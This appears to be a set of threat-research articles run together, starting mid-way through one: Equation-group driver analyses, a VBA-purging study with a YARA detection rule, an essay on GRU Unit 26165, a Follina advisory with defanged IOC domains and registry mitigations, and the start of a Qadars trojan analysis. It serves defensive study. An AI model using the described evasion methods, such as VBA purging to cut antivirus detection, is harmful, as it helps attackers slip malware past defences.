- Duration – used as Length of the original packet in dump file. (default 0xffff)
- Backup – max size of the pcap file
**IOCTLs**:
- 0x80002004 getCurrentState
- 0x80002008 setFilteringRules
- 0x8000200C getFilteringRules
- 0x80002024 getDumpFileSize
- 0x80002010/0x80002014/0x80002018/0x8000201C pause/resume
- 0x80002020 getVersion – returns 2.4.0
The driver has three logical parts and uses an incomplete function pointer table as an interface:
1. Business logic: filtering rules, packet dumping, device ioctl, options
2. Ndis driver skeleton
3. Primitives lib: Strings, XORing, registry I/O
The code is of very good quality. It looks more complicated than Winpcap 2.3 (released 28 mar 2002), but less so than Winpcap 3.0 (released by 10 apr 2003). Interestingly, the driver identifies itself as “version 2.4” in the pcap file despite there being no Winpcap version 2.4.
#### Key/clipboard logger driver – msrtvd.sys
- **MD5s**: 98dea1bce37bf7087360e1958400589b, bb8f56874189d5dfe9294f0553a49b83, f6bf3ed3bcd466e5fd1cbaf6ba658716
- **Size**: 31,488 – 36,736 bytes
- **Format**: PE32 Native
- **Compiled**: 2010.02.19 22:45:18 (GMT), 2008.09.17 16:23:54 (GMT)
This is a keylogger and clipboard monitoring tool. On startup, the driver creates a device named “\Device\Gk0” and a symbolic link named “\DosDevices\Gk“. Then it attaches to the csrss.exe process and disassembles user32.dll and ntdll.dll routines to obtain win32k.sys and ntoskrnl.exe SDT services indexes and pointers of needed Nt/Zw APIs.
Then, using a built-in disassembler, it obtains pointers to NtUserPeekMessage, NtUserGetMessage, NtUserGetClipboardData and using the disassembler again selects the parts of the code that will be then hooked by splicing. The interceptor routines are copied from a special PE section named “.msda”. These routines are able to collect key press chains and clipboard text data, adding information about current Time, ProcessName, ForegroundWindowText, and UserName related to this event.
A dedicated thread (“dumper”) gathers the collected data, compresses the results with LZO, and appends it every 30 minutes to a file “%system-wide TEMP%\tm154o.da“. Most strings inside are encrypted by XOR with a pre-seeded random number generator.
**IOCTLs**:
- 0x22002C -start dumper thread
- 0x220030 – stop dumper thread
- 0x220034 – check if the driver has new data to dump
- 0x220038 – set two external events signaled on dump data availability (it references a plugin possibility)
- 0x22003C – restart dumper thread
- 0x220040 – get size of available data
#### Collector plugin for Volrec – msrstd.sys
- **MD5s**: 69e7943f3d48233de4a39a924c59ed2c, 15d39578460e878dd89e8911180494ff
- **Size**: 13,696 – 17,408 bytes
- **Format**: PE32 Native
- **Compiled**: 2009.06.05 16:21:55 (GMT), 2009.12.15 16:33:52 (GMT)
This driver is a plugin that collects events from the “volrec.sys” driver and delivers them by sending DeviceIoControl messages. It collects events about file and disk volume operations. On startup, the driver obtains a pointer to “\Device\volrec“, then creates a control device “\Device\msrstd0” and a symbolic link to it named “\DosDevices\msrstd”.
All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.
**For file events**, the driver collects the filenames and caches data about read and write operations. For disk volume events, it queries disk properties and reads volume labels and disk serial numbers of removable drives (USB, FireWire drives).
**IOCTLs**:
- 0x220004 – turn on VolumeEvents collection
- 0x220008 – turn off VolumeEvents collection
- 0x22000C – retrieve previously stored VolumeEvent (operationType, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter)
- 0x220010 – turn on FileEvents collection
- 0x220014 – turn off FileEvents collection
- 0x220018 – retrieve previously stored FileEvent (fileName, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter)
- 0x22001C – connect to Volrec.sys (send ioctl 0x220004), enable plugin operation
- 0x220020 – disconnect from Volrec.sys (send ioctl 0x220008), disable plugin operation
#### Filesystem filter driver – volrec.sys, scsi2mgr.sys
- **MD5s**: a6662b8ebca61ca09ce89e1e4f43665d, c17e16a54916d3838f63d208ebab9879
- **Size**: 14,464-14,848 bytes
- **Format**: PE32 Native
- **Compiled**: 2009.06.05 16:21:57 (GMT), 2009.12.15 16:33:57 (GMT)
This driver is a generic filesystem filter which feeds system events to user-mode plugins. On startup, the driver creates a control device named “\Device\volrec” and a symbolic link to it named “\DosDevices\volrec0”. It then attaches all available filesystem devices. It is also able to handle removable storage devices. All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.
**IOCTLs**:
- 0x220004 – setup plugin interface
- 0x220008 – disable plugin calls
#### HDD/SSD operation helper driver – WIN32M.SYS
- **MD5s**: 2b444ac5209a8b4140dd6b747a996653, b3487fdd1efd2d1ea1550fef5b749037
- **Size**: 19,456 – 26,631 bytes
- **Format**: PE32 Native, PE32+ Native
- **Compiled**: 2001.08.23 17:03:19 (GMT), 2013.05.14 15:58:36 (GMT)
This module will be the subject of a dedicated blog post.
#### HDD/SSD firmware operation – nls_933w.dll
- **MD5s**: 11fb08b9126cdb4668b3f5135cf7a6c5, 9f3f6f46c67d3fad2479963361cf118b
- **Size**: 212,480 – 310,272 bytes
- **Format**: PE32 DLL, PE32+ DLL
- **Compiled**: 2010.06.15 16:23:37 (GMT), 2013.05.14 16:12:35 (GMT)
This (80AA) plugin is a HDD firmware flashing tool which includes an API and the ability to read/write arbitrary information into hidden sectors on the disk. The plugin will be the subject of a separate blog post.
## Tags
- APT
- Cyber espionage
- Equation
- Malware Descriptions
- Malware Technologies
- Nation State Sponsored Espionage
- Spyware
- Stuxnet
- Targeted attacks
## Authors
GReAT |
# Purgalicious VBA: Macro Obfuscation With VBA Purging
**Threat Research**
Andrew Oliveau, Alyssa Rahman, Brett Hawkins
Nov 19, 2020
Malicious Office documents remain a favorite technique for every type of threat actor, from red teamers to FIN groups to APTs. In this blog post, we will discuss "VBA Purging", a technique we have increasingly observed in the wild and that was first publicly documented by Didier Stevens in February 2020. We will explain how VBA purging works with Microsoft Office documents in Compound File Binary Format (CFBF), share some detection and hunting opportunities, and introduce a new tool created by Mandiant’s Red Team: OfficePurge.
## MS-OVBA File Format
Before diving into VBA Purging, it is important to understand certain components of Microsoft’s specifications on VBA macros (MS-OVBA). We focus on MS-OVBAs in Microsoft Office 97 documents that use the CFBF file format, instead of the modern Open Office XML (OOXML) format used by Microsoft Excel “.xlsx” and Microsoft Word “.docx” documents.
MS-OVBA’s file structure stores all VBA data in a hierarchy, which consists of structured storage that contains different types of streams. VBA code in an Office document is stored in various module streams that consist of two parts: the PerformanceCache (also known as P-code), and the CompressedSourceCode. The PerformanceCache section is an array of bytes that contains compiled VBA code. The CompressedSourceCode section contains VBA source code that is compressed with Microsoft’s proprietary algorithm. The boundary between the two sections is determined by a MODULEOFFSET, which is stored in the dir stream.
When a VBA macro is added to a document, the VBA engine saves a compiled version in the PerformanceCache section of the relevant module stream to increase performance. However, an Office application will only access the PerformanceCache if its version and architecture match what was used to compile the original VBA code. This version and implementation information is stored in the _VBA_PROJECT and __SRP_# streams. If the versions do not match, the compressed source code is decompressed, compiled, and run instead.
## VBA Purging vs VBA Stomping
In 2018, research by the Walmart security team brought a technique known as “VBA Stomping” to wider public awareness. Originally identified by Dr. Vesselin Bontchev in 2016, this technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection.
VBA stomping takes advantage of how module streams are interpreted and exchanges malicious CompressedSourceCode with non-malicious VBA source code, leaving the PerformanceCache untouched. However, the success of this technique is Office-version dependent, implying that an attacker would have to do additional recon on their target and be aware of their victims’ deployed Office versions.
VBA purging modifies the module streams in the opposite way. Instead of changing the CompressedSourceCode, VBA purging completely removes the PerformanceCache data from the module stream and the _VBA_PROJECT stream, changes the value of the MODULEOFFSET to 0, and removes all SRP streams. This removes strings usually found in PerformanceCache that many AV engines and YARA rules depend on for detection. Once removed, attackers are able to use more standard methodologies and execute suspicious functions (i.e. CreateObject) without being detected.
## Testing the Effectiveness of VBA Purging
Mandiant’s Red Team created a command line, C# tool called OfficePurge to test this technique. OfficePurge supports Microsoft Office Word, Excel, and Publisher documents that follow the CFBF file format.
The strings output for the original Word document shows Unicorn’s Base64 encoded PowerShell payload, which is detected by many security products. On the other hand, the output for the VBA purged document does not fully show the Base64 encoded payload because the PerformanceCache is removed. The CompressedSourceCode still contains the Base64 encoded payload, but Microsoft’s custom compression algorithm splits the strings, making it harder for static analysis to detect it.
Both documents were submitted to online sandboxes to test detection capabilities of various products. VirusTotal’s detection rate of the original document (36/60) dropped by 67% after it was VBA purged (12/61). VirusTotal also categorized the non-purged document as “create-ole”, “doc”, and “macros”, whereas the purged document was only categorized as “doc”.
## Detection and Hunting Opportunities
With OfficePurge, we have the ability to quickly erase compiled VBA code and reduce security product detections in public sandboxes. Using this test data, our next step is to build conditional detection logic in formats such as YARA rules, which can identify VBA purged documents and allow us to hunt for previously undetected malicious documents.
As mentioned before, this technique involves removing PerformanceCache data from the _VBA_PROJECT stream. MSDN documentation shows that the minimum length for the _VBA_PROJECT stream is 7 bytes to fit the required fields in the stream header.
The following YARA rule searches for CFBF files with a 7 byte _VBA_PROJECT stream:
```yara
rule FEYE_OLE_VBAPurged_1 {
meta:
author = "Alyssa Rahman (@ramen0x3f)"
description = "This file has a _VBA_PROJECT stream that has been cleared. This is evidence of VBA purging, a technique where the p-code (PerformanceCache data) is removed from Office files that have an embedded macro."
strings:
$vba_proj = { 5F 00 56 00 42 00 41 00 5F 00 50 00 52 00 4F 00 4A 00 45 00 43 00 54 00 00 00 00 00 00 00 00 00 }
condition:
uint32(0) == 0xe011cfd0 and ( uint32(@vba_proj[1] + 0x78) == 0x07 )
}
```
Searching with this logic on VirusTotal reveals a large number of malicious documents, meaning this is very prevalent in the wild and in use by attackers. This rule should identify most publicly documented examples of VBA purging, but it may also identify some false positives.
Another important limitation of this rule is that the _VBA_PROJECT stream data doesn’t have to be completely removed. So while the stream size is 7 in all publicly documented examples of this technique, it doesn’t have to be exactly 7.
One solution to this is to compare the compressed and compiled versions of a document’s macros and look for unexpected variations. Another potential option is a YARA rule that searches the _VBA_PROJECT stream for keywords or bytes, which should appear if the p-code is valid.
## Conclusion
For as long as companies use Office documents, attackers will be trying to smuggle malicious macros into them. VBA purging represents a recent example of how threat actors continually invent new ways to evade defenders. The artifacts discussed in this blog post should serve as a starting point for detecting VBA purging, and hopefully the tooling and indicators we have shared will help you hunt for additional anomalies in malicious Office documents.
## Indicators of Compromise
| File Name | Description | SHA256 Hash |
|-------------------------------|-------------------|-----------------------------------------------------------------------------|
| test.doc | Unicorn macro | f4431f02fe1e624fdb7bf2243bb72f1899d7eccb1ed7b2b42ed86e001e8bff28 |
| test2.doc | Unicorn macro | 98bd119f928e8db4ed45f5426f2c35c5f6d6ccc38af029e7ab4b9cfcc1447c53 |
| excel_calc.xls | Sample | de6583d338a8061bb1fc82687c8f5bff9a36ba1e2a87172e696ffaeca32567af |
| excel_calc_PURGED.xls | Sample | 914a6cf78fe98e80b1dee87347adbc8f8b37a1dfe672aa5196885daa447e9e73 |
| publisher_calc.pub | Sample | 4bce7c675edde20a3357bc1d0f25b53838ab0b13824ab7a5bbc09b995b7c832f |
| publisher_calc_PURGED.pub | Sample | 36bdfaaf3ea228844507b1129b6927e1e69a2cd5e8af99d507121b1485d85e1e |
| word_calc.doc | Sample | 23fa4b77c578470c1635fe20868591f07662b998716c51fbb53d78189c06154f |
| word_calc_PURGED.doc | Sample | a7eac98b3477fc97ccfe94f1419a859061ca944dc95372265e922992bd551529 | |
# GRU 26165: The Russian Cyber Unit That Hacks Targets On-Site
By Justin Sherman
Russian hackers are not always breaching targets from afar, typing on their keyboards in Moscow bunkers or St. Petersburg apartment buildings. For some Russian government hackers, foreign travel is part of the game. They pack up their equipment, get on international flights, and covertly move around abroad to hack into computer systems. Enter GRU Unit 26165 (of the military intelligence agency Glavnoye Razvedyvatelnoye Upravlenie), a military cyber unit with hackers operating remotely and on-site. Despite the security risks on-site cyber operations pose to governments and international organizations, and the questions they raise about how the West should track and combat Russian state hacking, Russia’s activities in this realm are not receiving sufficient policy attention.
## GRU Unit 26165, the 85th Main Special Communications Center
In March 2018, after the GRU tried to murder former Russian intelligence officer Sergei Skripal and his daughter Yulia in Salisbury, England using a Novichok nerve agent, the Kremlin came under international fire. British intelligence officials blamed the GRU, where Skripal used to work (and later became a British informant); the multinational Organization for the Prohibition of Chemical Weapons (OPCW), which enforces the Chemical Weapons Convention, launched an investigation; and in June of the same year, OPCW countries voted to let the body attribute chemical weapons attacks to particular actors. A year later, the OPCW would formally ban Novichok nerve agents. Additional journalistic investigations into the perpetrators continued to point to the GRU’s involvement.
Although the OPCW’s investigation was not made public for months, the Russian government decided to move quickly against the organization, turning to a tactical cyber unit to do so.
On April 10, 2018, four Russian nationals landed at Amsterdam Schiphol Airport in the Netherlands. With diplomatic passports in hand, they were met by a member of the Russian embassy in The Hague. After loading a car with technical equipment—including a wireless network panel antenna to intercept traffic—the four individuals scouted the OPCW’s headquarters in The Hague for days, taking photos and circling the building before being intercepted by the Dutch General Intelligence and Security Service (AIVD) and sent back to Moscow. Seemingly, the plan had been for the operatives to hack into the OPCW’s systems to disrupt investigations into the attempted GRU chemical weapon attack.
The Netherlands made all of this public on October 4, 2018, with Dutch intelligence identifying the four operators by name—Aleksei Sergeyevich Morenets and Evgenii Mikhaylovich Serebriakov were described as “cyber operators” and Oleg Mikhaylovich Sotnikov and Alexey Valerevich Minin were described as “HUMINT (human intelligence) support.” The AIVD linked all of these individuals to Russia’s GRU. A Department of Justice (DOJ) indictment issued on the same day went a step further, linking the hackers—Morenets and Serebriakov—to GRU Unit 26165.
Unit 26165, otherwise known as Fancy Bear, was already known for breaking into systems from afar, including the Democratic National Committee in 2016 and World Athletics (previously the International Amateur Athletic Federation) in 2017. Yet, the revelations around the attempted OPCW hack made clear that Unit 26165 does much more. The full DOJ indictment, subsequently published by the National Security Archive at The George Washington University, alleged that Morenets “was a member of a Unit 26165 team that traveled with technical equipment to locations around the world to conduct on-site hacking operations to target and maintain persistent access to WiFi networks used by victim organizations and personnel.” Serebriakov also belonged to such a team. While Unit 26165 often conducts remote hacks from Russia, the indictment stated that “if the remote hack was unsuccessful or if it did not provide the conspirators with sufficient access to victims’ networks,” Unit 26165 would carry out “‘on-site’ or ‘close access’ hacking operations.”
The OPCW incident was not the first time these particular hackers went abroad to conduct operations. According to the DOJ, Morenets traveled to Rio de Janeiro, Brazil, and Lausanne, Switzerland, in 2016 to breach the WiFi networks used by people with access to the US Anti-Doping Agency, the World Anti-Doping Agency, and the Canadian Center for Ethics in Sport. Serebriakov, the indictment stated, also participated in these on-site hacking operations. Both individuals allegedly planned to target the Spiez Laboratory in Switzerland after the OPCW hack. The indictment alleged that Ivan Sergeyevich Yermakov, also part of GRU Unit 26165, provided remote reconnaissance support for his colleagues’ on-site hacking operation against the OPCW.
Additionally, it is speculated that these on-site hackers were supported by another GRU unit, which is where the other two Russians caught in the Netherlands by the AIVD enter the picture. Sotnikov and Minin were described generically by the Dutch as HUMINT support for the two hackers, and as “Russian military intelligence officers” by the DOJ’s full indictment. Neither of these government documents mentions a specific GRU unit associated with Sotnikov or Minin.
Published in tandem with the October 4, 2018 state disclosures was a new Bellingcat investigation linking Morenets’ Russian car to the Unit 26165 building in Russia. It also linked Minin’s car registration to the GRU “Conservatory.” The Conservatory—formally numbered GRU Unit 22177—is the Russian Defense Ministry’s Military Academy and a training site for the GRU, located in Moscow near GRU headquarters and other GRU training facilities. Due to Minin’s connection to 22177 and the Dutch and US governments’ vague references to Sotnikov and Minin as “HUMINT support” and “Russian military intelligence officers” separate from Unit 26165, numerous articles have speculated that operatives from another GRU unit were tasked to support the mission in The Hague.
## Stepping Back, Assessing the Picture
Policymakers should use this information as a case study for how Russian government hackers—and, theoretically, state hackers from other adversary countries—move around the world to break into systems. The use of on-site cyber operations abroad seems unique to this GRU team, with many possible motivations at play. It is unclear how high up the oversight chain these on-site operations go. What is clear, though, is that Western governments cannot restrict their hunt for Russian hackers to the digital sphere; they must also remember how Russian hacking fits into broader Russian intelligence activities, including overseas.
There are several takeaways and implications that result from this information. The on-site, overseas cyber operations of GRU Unit 26165 appear to stand out from other Russian government cyber units. Of course, cyber capabilities are a part of intelligence operations more broadly, and many human operations around the world leverage cyber reconnaissance on an ongoing basis. Nonetheless, when the United Kingdom (UK) released its own statement on Russian government cyber activity in October 2018, it clearly differentiated between the activities of Unit 26165 in the Netherlands, Brazil, and Switzerland and those of Unit 74455 (Sandworm), which it stressed “were carried out remotely—by GRU teams based within Russia.” The DOJ indictment appears to suggest, although this is not totally clear, that hackers going abroad are part of at least one specific sub-team within the broader cyber unit. Further, the DOJ indictment lists numerous examples of on-site hacks or hack attempts, but publicly available information has not exposed the same kind of on-site operations by Russia’s Foreign Intelligence Service, the SVR.
The motivations behind the on-site operations of Unit 26165 are also a key question. Based on publicly available information, its proclivity for “close access” operations leans toward disrupting high-profile investigations into potentially embarrassing Russian government activity. The first set of reported hacks targeted international investigations into allegations of Russian doping at the Olympics; the second set of hacks targeted the international investigation into the attempted murder of the Skripals with chemical weapons. It is possible, therefore, that protecting the Kremlin’s image is a high priority. Simultaneously, the DOJ indictment stated that Unit 26165 carries out on-site operations when remote operations are unsuccessful, suggesting a more functional, effects-oriented motive for sending hackers overseas.
However, there is another possibility: The GRU may simply be using on-site operations when it needs to draw attention away from its own failures. The botched attempt to murder Sergei and Yulia Skripal was carried out by GRU Unit 29155, a Russian military intelligence and assassination team with close relationships to the Signal Scientific Center federal research facility and the Ministry of Defense’s State Institute for Experimental Military Medicine in St. Petersburg, entities suspected of managing Russia’s Novichok program. GRU operatives are well-known for their high-risk appetites and sometimes overt violence, even relative to other Russian intelligence organs like the Federal Security Service (FSB), Russia’s domestic security agency. This tendency is playing out in cyberspace already, given that GRU teams are behind the NotPetya malware attack, shutdowns of Ukrainian power grids, and other more destructive, publicly visible operations. Such cyber activities, in line with broader intelligence cultures, stand in contrast to agencies like the SVR, which appears to place a premium on covertness. Wanting to frantically undermine an investigation into its own failed operation, it is not out of the question that the GRU sent Unit 26165 operatives overseas.
That Unit 26165 hackers Morenets and Serebriakov may have had support from other parts of the GRU (HUMINT operators Sotnikov and Minin) in the OPCW plot suggests possible broader intra-agency coordination. But again, it is easy—and sometimes misguided—to assume there is more coordination within the Russian security services than actually occurs. All of this raises a final and more interesting question always at play in the Russian cyber ecosystem: How far up the chain does oversight of on-site hacks go?
Cyber and information operations with high political sensitivity, which Moscow conceptualizes more cohesively than in the West, are more likely to be supervised by the Kremlin. The US intelligence community assessed, for example, that the influence actions targeting the 2016 US election were “approved at the highest levels of the Russian government,” and a similar conclusion was reached regarding President Vladimir Putin and Russia’s election interference in 2020. This may also be true for more traditional intelligence operations. When the UK finished its investigation into the murder of former Russian spy Alexander Litvinenko, who was killed on British soil with the radioactive material Polonium-210, it concluded that Putin and Russian Security Council head Nikolai Patrushev “probably” approved the killing.
The GRU’s botched murder attempt on the Skripals garnered significant international attention. At the time, Russian officials were already criticizing the OPCW’s investigations into the Assad regime’s use of chemical weapons in Syria—calling it an attempt “to make the OPCW draw hasty but at the same time far-reaching conclusions” by Russia’s deputy foreign minister. When the investigation into the Skripal poisonings began, senior officials like Russian Foreign Minister Sergei Lavrov falsely claimed that a lab used by the OPCW picked up traces of a nerve agent possessed by NATO countries but not Russia. Putin, meanwhile, has always held particular contempt for people he perceives as betraying the Russian nation, once saying that “traitors always meet a bad end,” suggesting a kind of personal anger directed at individuals like Sergei Skripal who became agents for the West. The Olympic doping investigations, too, proved an embarrassment for Moscow.
In this vein, it is quite possible that higher-level Kremlin officials may direct the GRU to act against investigations like OPCW’s, prompting the GRU to deploy Unit 26165 hackers to the Netherlands. It is also plausible that the activities of Unit 26165 merely reflect broader intelligence collection priorities, spying on those trying to “hurt” Russia, such as investigators looking into Russian athlete doping. Since there are few publicly known cases of Unit 26165 conducting “close access” operations, perhaps these are not representative samples, with the GRU carrying out these activities on its own after all.
Regardless, the GRU is clearly sending hackers overseas to carry out operations. Going forward, Western intelligence and law enforcement personnel, as well as multinational organizations, would be wise to pay attention. |
# CVE-2022-30190: Microsoft Support Diagnostic Tool (MSDT) RCE Vulnerability “Follina”
At the end of last week, @nao_sec, an independent cyber security research team, tweeted about a malicious Microsoft Word document submitted from Belarus that leverages remote templates to execute a PowerShell payload using the "ms-msdt" MSProtocol URI scheme. Additional developments over the weekend identified the issue as a new unpatched vulnerability in Windows. A successful attack results in a remote, unauthenticated attacker taking control of an affected system. A publicly available Proof-of-Concept soon followed. This issue is referred to as “Follina” and has a CVE assignment of CVE-2022-30190. The name of the vulnerability is credited to security researcher Kevin Beaumont. "Follina" was derived from his analysis of the 0-day that contained code referencing "0438", which is the area code of Follina, Italy. Most of the time, it’s a bad sign when a vulnerability is crowned with a unique name (having a mind-shaking logo is usually the last dagger – such as Heartbleed, Shellshock, and EternalBlue, but thankfully, this issue is not in the same league as those.
As FortiGuard Labs is on high watch for updates and developments for CVE-2022-30190, this blog intends to raise awareness of this critical vulnerability and to urge administrators and various organizations to take quick corrective action until Microsoft releases a patch.
**Affected platforms:** Microsoft Windows
**Impacted parties:** Microsoft Windows Users
**Impact:** Full Control of Affected Machine
**Severity level:** Critical
## Impact Assessment
CVE-2022-30190 is rated as CVSS 7.8 (Critical), and there are a number of reasons for it. This vulnerability is in the Microsoft Support Diagnostic Tool (MSDT), a tool from Microsoft that collects and sends system information back to Microsoft Support for problem diagnostics, such as issues with device drivers, hardware, etc. This tool is in all versions of Windows, including Windows Server OS. Because of the lack of an available patch from Microsoft (as of June 1st, 2022), machines that are not protected by endpoint software or a mitigation strategy are vulnerable to Follina.
As proof-of-concept code is publicly available, this code can be freely used by security researchers, administrators, and threat actors alike. As such, attacks that leverage CVE-2022-30190 are expected to increase over the next few days and weeks.
Protected View, a feature in Microsoft Office that opens Office documents in read-only mode with macros and other content disabled, can prevent this attack. However, reports from researchers have revealed that if a document is converted to Rich Text Format (RTF), simply previewing the document in Windows Explorer can trigger the exploit, bypassing Protected View. At the time of writing, Microsoft’s latest advisory has not confirmed this nor whether this is another exploitation vector.
On a side note, despite using “remote” in the vulnerability name, the attack happens locally, and user interaction is required for the attack to work. Microsoft’s advisory calls out this point: “The word Remote in the title refers to the location of the attacker. This type of exploit is sometimes referred to as Arbitrary Code Execution (ACE). The attack itself is carried out locally.”
Additionally, the vulnerability has already experienced in-the-wild attacks. A series of initial attacks were reportedly observed in March 2022, targeting the Philippines, Nepal, and India. Additional files were submitted to VirusTotal from Russia and Belarus. Those attacks were most likely targeted attacks as the domains involved reveal little activity in our telemetry.
Due to the severity of the vulnerability, the United States Cybersecurity & Infrastructure Security Agency (CISA) issued an advisory on May 31st, urging users and administrators to apply necessary workarounds as soon as possible.
## Exploit
The vulnerability that exists within msdt.exe is the Microsoft Support Diagnostic Tool. Normally, this tool is used to diagnose faults with the operating system and then report and provide system details back to Microsoft Support.
The vulnerability allows a malicious actor to effectively execute arbitrary code with the same privileges as the application calling it. The calling application is quite often a tool in Microsoft Office (Word, Excel, Outlook, etc.).
As shown, the document found by @nao_sec used an embedded OLE Object inside a Word document that was modified to call an external website to download an HTML document. This document then invoked msdt.exe, followed by several PowerShell commands.
Many further examples have been uploaded to VirusTotal that invoke Calc and other benign Windows tools as a method to test the vulnerability without causing damage.
## Active Exploitation
The TA413 APT group, a hacking outfit linked to Chinese state interests, has adopted this vulnerability in attacks against the international Tibetan community. As observed on May 30 by security researchers, threat actors are now using CVE-2022-30190 exploits to execute malicious code via the MSDT protocol when targets open or preview Word documents delivered in ZIP archives. Campaigns have impersonated the 'Women Empowerments Desk' of the Central Tibetan Administration and use the domain tibet-gov.web[.]app.
The security researchers also spotted DOCX documents with Chinese filenames being used to install malicious payloads detected as password-stealing Trojans via "hxxp://coolrat[.]xyz". At the time of writing, researchers have discovered limited exploitation of the vulnerability in the wild. One instance of active exploitation of 'Follina' was conducted by Chinese APT actor 'TA413'.
## Attack Vector
At the time of this writing, all known attacks used Microsoft Word document files that were most likely delivered via email. Theoretically, any applications that allow an OLE object to be embedded would be a viable execution mechanism.
## In the Wild Attack
One of the real-world attacks that leverage CVE-2022-30190 is a Microsoft Word file submitted to VirusTotal from Saudi Arabia on June 1st, which retrieves an HTML file that abuses MSDT to fetch the next stage payload “svchost.exe” from a remote location and then execute it.
## Payload Analysis
The Saudi Arabian DOCX document eventually leads to the download and execution of an executable. This executable is a variant of Turian, which was analyzed by ESET almost a year ago. This current variant uses the same one-byte XOR key (0xA9) as the previously analyzed Turian sample. This sample also has the functionality to try and determine what role the infected computer plays in the domain. Similar to the old Turian sample, this variant uses the same headers to connect to the C2 server. This sample creates “tmp.bat”, which is used to set RUN keys in the registry for persistence purposes.
## Mitigation
Microsoft has provided the following mitigation steps. CISA also urged admins and users to disable the MSDT protocol on their Windows devices after Microsoft reported active exploitation of this vulnerability in the wild.
**Disabling the MSDT URL Protocol:**
Disabling the MSDT URL protocol prevents troubleshooters from being launched as links, including links throughout the operating system. Troubleshooters can still be accessed using the Get Help application and in System Settings as other or additional troubleshooters.
**Follow these steps to disable:**
1. Run Command Prompt as Administrator.
2. To back up the registry key, execute the command `reg export HKEY_CLASSES_ROOT\ms-msdt filename`.
3. Execute the command `reg delete HKEY_CLASSES_ROOT\ms-msdt /f`.
**How to undo the workaround:**
1. Run Command Prompt as Administrator.
2. To restore the registry key, execute the command `reg import filename`.
## Conclusion
CVE-2022-30190 has the potential to have significant impact due to its ease of exploitation and ability to bypass Protected View, along with the availability of new PoC code and the lack of a security fix. Administrators and users should monitor updates from Microsoft and apply the patch as soon as it becomes available. Until then, mitigation should be applied as soon as possible.
## Fortinet Protection
The FortiGuard Antivirus service detects and blocks files associated with CVE-2022-30190 with the following signatures:
- HTML/CVE_2022_30190.A!tr
- MSWord/Agent.2E52!tr.dldr
- MSWord/CVE20170199.A!exploit
- Riskware/RemoteShell.
Regarding IPS coverage, the following signature will detect the retrieval of remote HTML files that contain the MSDT command:
- MS.Office.MSHTML.Remote.Code.Execution.
The FortiGuard Content Disarm and Reconstruction (CDR) service can detect the attack in real-time and prevent it by disarming the "oleobject" data from Microsoft Office files. All relevant URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service.
As these attacks require user interaction, it is also suggested that organizations regularly schedule user awareness and training simulations on how to spot a social engineering attack. Fortinet has multiple solutions designed to train users on how to understand and detect phishing threats.
## IOCs
**Files:**
- 10370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bfa
- fe300467c2714f4962d814a34f8ee631a51e8255b9c07106d44c6a1f1eda7a45
- 3db60df73a92b8b15d7885bdcc1cbcf9c740ce29c654375a5c1ce8c2b31488a1
- 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
- d118f2c99400e773b8cfd3e08a5bcf6ecaa6a644cb58ef8fd5b8aa6c29af4cf1
- 764a57c926711e448e68917e7db5caba988d3cdbc656b00cd3a6e88922c63837
- 8e986c906d0c6213f80d0224833913fa14bc4c15c047766a62f6329bfc0639bd
- e8f0a2f79a91587f1d961d6668792e74985624d652c7b47cc87367cb1b451adf
- 4369f3c729d9bacffab6ec9a8f0e582b4e12b32ed020b5fe0f4c8c0c620931dc
- 1f245b9d3247d686937f26f7c0ae36d3c853bda97abd8b95dc0dfd4568ee470b
- bf10a54348c2d448afa5d0ba5add70aaccd99506dfcf9d6cf185c0b77c14ace5
- c0c5bf6fe1d3b23fc89e0f8b352bd687789b5083ca6d8ec9acce9a9e2942be1f
- 248296cf75065c7db51a793816d388ad589127c40fddef276e622a160727ca29
- d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7
- 4f11f567634b81171a871c804b35c672646a0839485eca0785db71647a1807df
**URL(s):**
- sputnikradio[.]net
- xmlformats[.]com
- exchange[.]oufca[.]com[.]au
- 141[.]98[.]215[.]99
- tibet-gov[.]web[.]app |
# Dissecting the Qadars Banking Trojan
Qadars is a sophisticated and dangerous trojan used for crimeware-related activities including banking fraud and credential theft. Qadars targets users through exploit kits and is installed using Powershell Scripts. We have observed Qadars targeting multiple well-known banks in the UK and Canada and is capable of stealing infected users’ two-factor authentication codes and banking credentials through the deployment of webinjects. While not as well known or widespread as other Trojans, the operators have shown commitment to the development of Qadars’ on-board evasion techniques and its advanced and adaptable privilege escalation module. This emphasis on persistence alongside the frequent shifts in both industry and geographic targeting indicate Qadars will remain a potent threat through 2017.
## List of webinject targets from a Qadars configuration file
In this technical blog post, we will analyze a Qadars binary file and provide code and a Yara rule to aid in the analysis and detection of this banking Trojan. First, we will examine Qadars’ methods of thwarting reverse engineering through the utilization of a dynamically resolved Import Address Table with obfuscated functions and strings. We then will detail the trojan’s behaviour and dynamically-generated command and control centers with which it communicates. The C2s are not utilized solely for the collection of stolen credentials. We have also observed them delivering a module to Qadars samples operating in a low privilege environment that employs social engineering to trick the user into allowing higher level access.
## Import Address Table (IAT) and String Obfuscation
In its pure form, Qadars has built-in protection to make reverse engineering difficult, such as dynamic resolution of the Import Address Table (IAT) and obfuscation of the IAT functions and strings. At the beginning of execution, it calls a subroutine responsible for resolving and concealing IAT entries. It locates API entries using a well-known hashing method. For example, in the code depicted below, 9B102E2Dh corresponds to LoadLibraryA.
### Resolving API Calls via Hashing Mechanism
Dynamic Link Libraries (DLLs) are loaded using LoadLibrary and API names are located by parsing the export address table.
### Loading DLLs Using LoadLibrary
Furthermore, Qadars conceals an API function by XORing the address of an API call with a 4-byte XOR-Key. Wherever there is a call to a particular API function, the original value is reverted back to its XOR-encoded value.
### Decoding XOR-encoded API Call
In order to simplify the analysis, we can utilize one of two methods: create an IDA script to statically resolve the import addresses, or create an IDA script to rebuild the IAT. We will utilize the latter method.
### Reconstructing Imports by Instruction Patching
In order to restore the imported function, we would need our instructions to specify `CALL [APIPointer]` instead of `CALL`. However, patching an indirect call would not be allowed because the size of an indirect call is only 2 bytes, while the size of a referenced call is 6 bytes. We could accommodate these additional 4 bytes by NOP’ing the previous XOR operation which is used to retrieve the original value. In this manner, we could keep the offsets at their specified and original locations. The following code comparison (also known as diff) illustrates this concept.
